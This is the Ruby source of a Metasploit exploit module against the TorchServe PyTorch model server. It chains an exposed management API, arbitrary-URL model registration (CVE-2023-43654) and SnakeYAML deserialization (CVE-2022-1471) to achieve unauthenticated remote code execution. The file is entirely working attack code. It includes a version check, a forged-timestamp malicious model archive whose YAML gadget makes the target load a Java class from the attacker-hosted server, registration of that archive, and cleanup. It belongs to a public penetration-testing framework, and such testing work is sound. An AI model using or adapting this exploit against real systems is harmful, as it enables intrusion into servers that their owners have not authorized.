##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Java
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Java::HTTP::ClassLoader

  def initialize(_info = {})
    super(
      'Name' => 'PyTorch Model Server Registration and Deserialization RCE',
      'Description' => %q{
          The PyTorch model server contains multiple vulnerabilities that can be chained together to permit an
        unauthenticated remote attacker arbitrary Java code execution. The first vulnerability is that the management
        interface is bound to all IP addresses and not just the loop back interface as the documentation suggests. The
        second vulnerability (CVE-2023-43654) allows attackers with access to the management interface to register MAR
        model files from arbitrary servers. The third vulnerability is that when an MAR file is loaded, it can contain a
        YAML configuration file that when deserialized by snakeyaml, can lead to loading an arbitrary Java class.
      },
      'Author' => [
        'Idan Levcovich', # vulnerability discovery and research
        'Guy Kaplan', # vulnerability discovery and research
        'Gal Elbaz', # vulnerability discovery and research
        'Swapneil Kumar Dash', # snakeyaml deserialization research
        'Spencer McIntyre' # metasploit module
      ],
      'References' => [
        [ 'URL', 'https://www.oligo.security/blog/shelltorch-torchserve-ssrf-vulnerability-cve-2023-43654' ],
        [ 'CVE', '2023-43654' ], # model registration SSRF
        [ 'URL', 'https://github.com/pytorch/serve/security/advisories/GHSA-8fxr-qfr9-p34w' ],
        [ 'CVE', '2022-1471' ], # snakeyaml deserialization RCE
        [ 'URL', 'https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2' ],
        [ 'URL', 'https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in' ],
        [ 'URL', 'https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858' ]
      ],
      'DisclosureDate' => '2023-10-03',
      'License' => MSF_LICENSE,
      'DefaultOptions' => {
        'RPORT' => 8081
      },
      'Targets' => [
        [
          'Automatic', {
            'Platform' => 'java',
            'Arch' => [ARCH_JAVA]
          }
        ],
      ],
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [IOC_IN_LOGS],
        'Reliability' => [REPEATABLE_SESSION]
      }
    )
  end

  def check
    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'api-description'))
    return Exploit::CheckCode::Unknown unless res
    return Exploit::CheckCode::Safe unless res.code == 200
    unless res.get_json_document.dig('info', 'title') == 'TorchServe APIs'
      return Exploit::CheckCode::Safe('The TorchServe API was not detected on the target.')
    end

    version = res.get_json_document.dig('info', 'version')
    return Exploit::CheckCode::Detected unless version.present?

    unless Rex::Version.new(version) < Rex::Version.new('8.0.2')
      return Exploit::CheckCode::Safe("Version #{version} is patched.")
    end

    Exploit::CheckCode::Appears("Version #{version} is vulnerable.")
  end

  def class_name
    'MyScriptEngineFactory'
  end

  def constructor_class
    ::File.binread(::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-1471', "#{class_name}.class"))
  end

  def on_request_uri(cli, request)
    if request.relative_resource.end_with?("#{@model_name}.mar")
      print_good('Sending model archive')
      send_response(cli, generate_mar, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    if request.relative_resource.end_with?('services/javax.script.ScriptEngineFactory')
      vprint_good('Sending ScriptEngineFactory class name')
      send_response(cli, class_name, { 'Content-Type' => 'application/octet-string' })
      return
    end

    super(cli, request)
  end

  def generate_mar
    config_file = rand_text_alphanumeric(8..15) + '.yml'
    serialized_file = rand_text_alphanumeric(8..15) + '.pt'

    mri = Rex::Zip::Archive.new
    mri.add_file(serialized_file, '') # an empty data file is sufficient for exploitation
    mri.add_file('MAR-INF/MANIFEST.json', JSON.generate({
      'createdOn' => (Time.now - Random.rand(600..1199)).strftime('%d/%m/%Y %H:%M:%S'), # forge a timestamp of 10-20 minutes ago
      'runtime' => 'python',
      'model' => {
        'modelName' => @model_name,
        'serializedFile' => serialized_file,
        'handler' => %w[image_classifier object_detector text_classifier image_segmenter].sample,
        'modelVersion' => '1.0',
        'configFile' => config_file
      },
      'archiverVersion' => '0.8.2'
    }))
    mri.add_file(config_file, %( !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["#{get_uri}/"]]]] ))
    mri.pack
  end

  def exploit
    start_service

    @model_name = rand_text_alphanumeric(8..15)
    print_status('Registering the model archive...')
    # see: https://pytorch.org/serve/management_api.html#register-a-model
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'models'),
      'vars_get' => { # *must* be vars_get and not vars_post!
        'url' => "#{get_uri}#{@model_name}.mar"
      }
    })

    handler
  end

  def cleanup
    super

    return unless @model_name

    # see: https://pytorch.org/serve/management_api.html#unregister-a-model
    send_request_cgi({
      'method' => 'DELETE',
      'uri' => normalize_uri(target_uri.path, 'models', @model_name, '1.0')
    })
  end
end